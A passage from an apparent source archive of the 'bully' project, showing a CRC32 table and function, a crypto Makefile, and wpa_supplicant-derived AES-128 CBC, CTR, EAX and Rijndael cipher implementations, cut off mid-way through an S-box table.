0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; #define UPDC32(octet,crc) (crc_32_tab[((crc) ^ (octet)) & 0xff] ^ ((crc) >> 8)) uint32_t crc32(char *buf, size_t len) { uint32_t crc = 0xFFFFFFFF; for ( ; len; --len, ++buf) { crc = UPDC32(*buf, crc); } return crc; } bully-1.4-00/src/crypto/000077500000000000000000000000001361530463600150405ustar00rootroot00000000000000bully-1.4-00/src/crypto/.gitignore000066400000000000000000000000141361530463600170230ustar00rootroot00000000000000libcrypto.a bully-1.4-00/src/crypto/Makefile000077500000000000000000000016331361530463600165060ustar00rootroot00000000000000all: libcrypto.a clean: rm -f *~ *.o *.d libcrypto.a install: @echo Nothing to be made. include ../lib.rules CFLAGS += -DCONFIG_TLS_INTERNAL_CLIENT CFLAGS += -DCONFIG_TLS_INTERNAL_SERVER #CFLAGS += -DALL_DH_GROUPS LIB_OBJS= \ aes-cbc.o \ aes-ctr.o \ aes-eax.o \ aes-encblock.o \ aes-internal.o \ aes-internal-dec.o \ aes-internal-enc.o \ aes-omac1.o \ aes-unwrap.o \ aes-wrap.o \ des-internal.o \ dh_group5.o \ dh_groups.o \ md4-internal.o \ md5.o \ md5-internal.o \ md5-non-fips.o \ milenage.o \ ms_funcs.o \ rc4.o \ sha1.o \ sha1-internal.o \ sha1-pbkdf2.o \ sha1-tlsprf.o \ sha1-tprf.o \ sha256.o \ sha256-internal.o LIB_OBJS += crypto_internal.o LIB_OBJS += crypto_internal-cipher.o LIB_OBJS += crypto_internal-modexp.o LIB_OBJS += crypto_internal-rsa.o LIB_OBJS += tls_internal.o LIB_OBJS += fips_prf_internal.o libcrypto.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) bully-1.4-00/src/crypto/aes-cbc.c000077500000000000000000000041171361530463600165070ustar00rootroot00000000000000/* * AES-128 CBC * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_cbc_encrypt - AES-128 CBC encryption * @key: Encryption key * @iv: Encryption IV for CBC mode (16 bytes) * @data: Data to encrypt in-place * @data_len: Length of data in bytes (must be divisible by 16) * Returns: 0 on success, -1 on failure */ int aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len) { void *ctx; u8 cbc[AES_BLOCK_SIZE]; u8 *pos = data; int i, j, blocks; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(cbc, iv, AES_BLOCK_SIZE); blocks = data_len / AES_BLOCK_SIZE; for (i = 0; i < blocks; i++) { for (j = 0; j < AES_BLOCK_SIZE; j++) cbc[j] ^= pos[j]; aes_encrypt(ctx, cbc, cbc); os_memcpy(pos, cbc, AES_BLOCK_SIZE); pos += AES_BLOCK_SIZE; } aes_encrypt_deinit(ctx); return 0; } /** * aes_128_cbc_decrypt - AES-128 CBC decryption * @key: Decryption key * @iv: Decryption IV for CBC mode (16 bytes) * @data: Data to decrypt in-place * @data_len: Length of data in bytes (must be divisible by 16) * Returns: 0 on success, -1 on failure */ int aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len) { void *ctx; u8 cbc[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE]; u8 *pos = data; int i, j, blocks; ctx = aes_decrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(cbc, iv, AES_BLOCK_SIZE); blocks = data_len / AES_BLOCK_SIZE; for (i = 0; i < blocks; i++) { os_memcpy(tmp, pos, AES_BLOCK_SIZE); aes_decrypt(ctx, pos, pos); for (j = 0; j < AES_BLOCK_SIZE; j++) pos[j] ^= cbc[j]; os_memcpy(cbc, tmp, AES_BLOCK_SIZE); pos += AES_BLOCK_SIZE; } aes_decrypt_deinit(ctx); return 0; } bully-1.4-00/src/crypto/aes-ctr.c000077500000000000000000000025621361530463600165520ustar00rootroot00000000000000/* * AES-128 CTR * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_ctr_encrypt - AES-128 CTR mode encryption * @key: Key for encryption (16 bytes) * @nonce: Nonce for counter mode (16 bytes) * @data: Data to encrypt in-place * @data_len: Length of data in bytes * Returns: 0 on success, -1 on failure */ int aes_128_ctr_encrypt(const u8 *key, const u8 *nonce, u8 *data, size_t data_len) { void *ctx; size_t j, len, left = data_len; int i; u8 *pos = data; u8 counter[AES_BLOCK_SIZE], buf[AES_BLOCK_SIZE]; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(counter, nonce, AES_BLOCK_SIZE); while (left > 0) { aes_encrypt(ctx, counter, buf); len = (left < AES_BLOCK_SIZE) ? left : AES_BLOCK_SIZE; for (j = 0; j < len; j++) pos[j] ^= buf[j]; pos += len; left -= len; for (i = AES_BLOCK_SIZE - 1; i >= 0; i--) { counter[i]++; if (counter[i]) break; } } aes_encrypt_deinit(ctx); return 0; } bully-1.4-00/src/crypto/aes-eax.c000077500000000000000000000067031361530463600165400ustar00rootroot00000000000000/* * AES-128 EAX * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_eax_encrypt - AES-128 EAX mode encryption * @key: Key for encryption (16 bytes) * @nonce: Nonce for counter mode * @nonce_len: Nonce length in bytes * @hdr: Header data to be authenticity protected * @hdr_len: Length of the header data bytes * @data: Data to encrypt in-place * @data_len: Length of data in bytes * @tag: 16-byte tag value * Returns: 0 on success, -1 on failure */ int aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, u8 *tag) { u8 *buf; size_t buf_len; u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE], data_mac[AES_BLOCK_SIZE]; int i, ret = -1; if (nonce_len > data_len) buf_len = nonce_len; else buf_len = data_len; if (hdr_len > buf_len) buf_len = hdr_len; buf_len += 16; buf = os_malloc(buf_len); if (buf == NULL) return -1; os_memset(buf, 0, 15); buf[15] = 0; os_memcpy(buf + 16, nonce, nonce_len); if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) goto fail; buf[15] = 1; os_memcpy(buf + 16, hdr, hdr_len); if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) goto fail; if (aes_128_ctr_encrypt(key, nonce_mac, data, data_len)) goto fail; buf[15] = 2; os_memcpy(buf + 16, data, data_len); if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) goto fail; for (i = 0; i < AES_BLOCK_SIZE; i++) tag[i] = nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i]; ret = 0; fail: os_free(buf); return ret; } /** * aes_128_eax_decrypt - AES-128 EAX mode decryption * @key: Key for decryption (16 bytes) * @nonce: Nonce for counter mode * @nonce_len: Nonce length in bytes * @hdr: Header data to be authenticity protected * @hdr_len: Length of the header data bytes * @data: Data to encrypt in-place * @data_len: Length of data in bytes * @tag: 16-byte tag value * Returns: 0 on success, -1 on failure, -2 if tag does not match */ int aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, const u8 *tag) { u8 *buf; size_t buf_len; u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE], data_mac[AES_BLOCK_SIZE]; int i; if (nonce_len > data_len) buf_len = nonce_len; else buf_len = data_len; if (hdr_len > buf_len) buf_len = hdr_len; buf_len += 16; buf = os_malloc(buf_len); if (buf == NULL) return -1; os_memset(buf, 0, 15); buf[15] = 0; os_memcpy(buf + 16, nonce, nonce_len); if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) { os_free(buf); return -1; } buf[15] = 1; os_memcpy(buf + 16, hdr, hdr_len); if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) { os_free(buf); return -1; } buf[15] = 2; os_memcpy(buf + 16, data, data_len); if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) { os_free(buf); return -1; } os_free(buf); for (i = 0; i < AES_BLOCK_SIZE; i++) { if (tag[i] != (nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i])) return -2; } return aes_128_ctr_encrypt(key, nonce_mac, data, data_len); } bully-1.4-00/src/crypto/aes-encblock.c000077500000000000000000000016331361530463600175400ustar00rootroot00000000000000/* * AES encrypt_block * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_encrypt_block - Perform one AES 128-bit block operation * @key: Key for AES * @in: Input data (16 bytes) * @out: Output of the AES block operation (16 bytes) * Returns: 0 on success, -1 on failure */ int aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out) { void *ctx; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; aes_encrypt(ctx, in, out); aes_encrypt_deinit(ctx); return 0; } bully-1.4-00/src/crypto/aes-internal-dec.c000077500000000000000000000071511361530463600203260ustar00rootroot00000000000000/* * AES (Rijndael) cipher - decrypt * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" /** * Expand the cipher key into the decryption key schedule. * * @return the number of rounds for the given cipher key size. */ void rijndaelKeySetupDec(u32 rk[/*44*/], const u8 cipherKey[]) { int Nr = 10, i, j; u32 temp; /* expand the cipher key: */ rijndaelKeySetupEnc(rk, cipherKey); /* invert the order of the round keys: */ for (i = 0, j = 4*Nr; i < j; i += 4, j -= 4) { temp = rk[i ]; rk[i ] = rk[j ]; rk[j ] = temp; temp = rk[i + 1]; rk[i + 1] = rk[j + 1]; rk[j + 1] = temp; temp = rk[i + 2]; rk[i + 2] = rk[j + 2]; rk[j + 2] = temp; temp = rk[i + 3]; rk[i + 3] = rk[j + 3]; rk[j + 3] = temp; } /* apply the inverse MixColumn transform to all round keys but the * first and the last: */ for (i = 1; i < Nr; i++) { rk += 4; for (j = 0; j < 4; j++) { rk[j] = TD0_(TE4((rk[j] >> 24) )) ^ TD1_(TE4((rk[j] >> 16) & 0xff)) ^ TD2_(TE4((rk[j] >> 8) & 0xff)) ^ TD3_(TE4((rk[j] ) & 0xff)); } } } void * aes_decrypt_init(const u8 *key, size_t len) { u32 *rk; if (len != 16) return NULL; rk = os_malloc(AES_PRIV_SIZE); if (rk == NULL) return NULL; rijndaelKeySetupDec(rk, key); return rk; } static void rijndaelDecrypt(const u32 rk[/*44*/], const u8 ct[16], u8 pt[16]) { u32 s0, s1, s2, s3, t0, t1, t2, t3; const int Nr = 10; #ifndef FULL_UNROLL int r; #endif /* ?FULL_UNROLL */ /* * map byte array block to cipher state * and add initial round key: */ s0 = GETU32(ct ) ^ rk[0]; s1 = GETU32(ct + 4) ^ rk[1]; s2 = GETU32(ct + 8) ^ rk[2]; s3 = GETU32(ct + 12) ^ rk[3]; #define ROUND(i,d,s) \ d##0 = TD0(s##0) ^ TD1(s##3) ^ TD2(s##2) ^ TD3(s##1) ^ rk[4 * i]; \ d##1 = TD0(s##1) ^ TD1(s##0) ^ TD2(s##3) ^ TD3(s##2) ^ rk[4 * i + 1]; \ d##2 = TD0(s##2) ^ TD1(s##1) ^ TD2(s##0) ^ TD3(s##3) ^ rk[4 * i + 2]; \ d##3 = TD0(s##3) ^ TD1(s##2) ^ TD2(s##1) ^ TD3(s##0) ^ rk[4 * i + 3] #ifdef FULL_UNROLL ROUND(1,t,s); ROUND(2,s,t); ROUND(3,t,s); ROUND(4,s,t); ROUND(5,t,s); ROUND(6,s,t); ROUND(7,t,s); ROUND(8,s,t); ROUND(9,t,s); rk += Nr << 2; #else /* !FULL_UNROLL */ /* Nr - 1 full rounds: */ r = Nr >> 1; for (;;) { ROUND(1,t,s); rk += 8; if (--r == 0) break; ROUND(0,s,t); } #endif /* ?FULL_UNROLL */ #undef ROUND /* * apply last round and * map cipher state to byte array block: */ s0 = TD41(t0) ^ TD42(t3) ^ TD43(t2) ^ TD44(t1) ^ rk[0]; PUTU32(pt , s0); s1 = TD41(t1) ^ TD42(t0) ^ TD43(t3) ^ TD44(t2) ^ rk[1]; PUTU32(pt + 4, s1); s2 = TD41(t2) ^ TD42(t1) ^ TD43(t0) ^ TD44(t3) ^ rk[2]; PUTU32(pt + 8, s2); s3 = TD41(t3) ^ TD42(t2) ^ TD43(t1) ^ TD44(t0) ^ rk[3]; PUTU32(pt + 12, s3); } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { rijndaelDecrypt(ctx, crypt, plain); } void aes_decrypt_deinit(void *ctx) { os_memset(ctx, 0, AES_PRIV_SIZE); os_free(ctx); } bully-1.4-00/src/crypto/aes-internal-enc.c000077500000000000000000000052371361530463600203430ustar00rootroot00000000000000/* * AES (Rijndael) cipher - encrypt * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" void rijndaelEncrypt(const u32 rk[/*44*/], const u8 pt[16], u8 ct[16]) { u32 s0, s1, s2, s3, t0, t1, t2, t3; const int Nr = 10; #ifndef FULL_UNROLL int r; #endif /* ?FULL_UNROLL */ /* * map byte array block to cipher state * and add initial round key: */ s0 = GETU32(pt ) ^ rk[0]; s1 = GETU32(pt + 4) ^ rk[1]; s2 = GETU32(pt + 8) ^ rk[2]; s3 = GETU32(pt + 12) ^ rk[3]; #define ROUND(i,d,s) \ d##0 = TE0(s##0) ^ TE1(s##1) ^ TE2(s##2) ^ TE3(s##3) ^ rk[4 * i]; \ d##1 = TE0(s##1) ^ TE1(s##2) ^ TE2(s##3) ^ TE3(s##0) ^ rk[4 * i + 1]; \ d##2 = TE0(s##2) ^ TE1(s##3) ^ TE2(s##0) ^ TE3(s##1) ^ rk[4 * i + 2]; \ d##3 = TE0(s##3) ^ TE1(s##0) ^ TE2(s##1) ^ TE3(s##2) ^ rk[4 * i + 3] #ifdef FULL_UNROLL ROUND(1,t,s); ROUND(2,s,t); ROUND(3,t,s); ROUND(4,s,t); ROUND(5,t,s); ROUND(6,s,t); ROUND(7,t,s); ROUND(8,s,t); ROUND(9,t,s); rk += Nr << 2; #else /* !FULL_UNROLL */ /* Nr - 1 full rounds: */ r = Nr >> 1; for (;;) { ROUND(1,t,s); rk += 8; if (--r == 0) break; ROUND(0,s,t); } #endif /* ?FULL_UNROLL */ #undef ROUND /* * apply last round and * map cipher state to byte array block: */ s0 = TE41(t0) ^ TE42(t1) ^ TE43(t2) ^ TE44(t3) ^ rk[0]; PUTU32(ct , s0); s1 = TE41(t1) ^ TE42(t2) ^ TE43(t3) ^ TE44(t0) ^ rk[1]; PUTU32(ct + 4, s1); s2 = TE41(t2) ^ TE42(t3) ^ TE43(t0) ^ TE44(t1) ^ rk[2]; PUTU32(ct + 8, s2); s3 = TE41(t3) ^ TE42(t0) ^ TE43(t1) ^ TE44(t2) ^ rk[3]; PUTU32(ct + 12, s3); } void * aes_encrypt_init(const u8 *key, size_t len) { u32 *rk; if (len != 16) return NULL; rk = os_malloc(AES_PRIV_SIZE); if (rk == NULL) return NULL; rijndaelKeySetupEnc(rk, key); return rk; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { rijndaelEncrypt(ctx, plain, crypt); } void aes_encrypt_deinit(void *ctx) { os_memset(ctx, 0, AES_PRIV_SIZE); os_free(ctx); } bully-1.4-00/src/crypto/aes-internal.c000077500000000000000000001207661361530463600176050ustar00rootroot00000000000000/* * AES (Rijndael) cipher * * Modifications to public domain implementation: * - support only 128-bit keys * - cleanup * - use C pre-processor to make it easier to change S table access * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at * cost of reduced throughput (quite small difference on Pentium 4, * 10-25% when using -O1 or -O2 optimization) * * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes_i.h" /* * rijndael-alg-fst.c * * @version 3.0 (December 2000) * * Optimised ANSI C code for the Rijndael cipher (now AES) * * @author Vincent Rijmen * @author Antoon Bosselaers * @author Paulo Barreto * * This code is hereby placed in the public domain. * * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Te0[x] = S [x].[02, 01, 01, 03]; Te1[x] = S [x].[03, 02, 01, 01]; Te2[x] = S [x].[01, 03, 02, 01]; Te3[x] = S [x].[01, 01, 03, 02]; Te4[x] = S [x].[01, 01, 01, 01]; Td0[x] = Si[x].[0e, 09, 0d, 0b]; Td1[x] = Si[x].[0b, 0e, 09, 0d]; Td2[x] = Si[x].[0d, 0b, 0e, 09]; Td3[x] = Si[x].[09, 0d, 0b, 0e]; Td4[x] = Si[x].[01, 01, 01, 01]; */ const u32 Te0[256] = { 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, }; #ifndef AES_SMALL_TABLES const u32 Te1[256] = { 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, 0xdf63bcbcU, 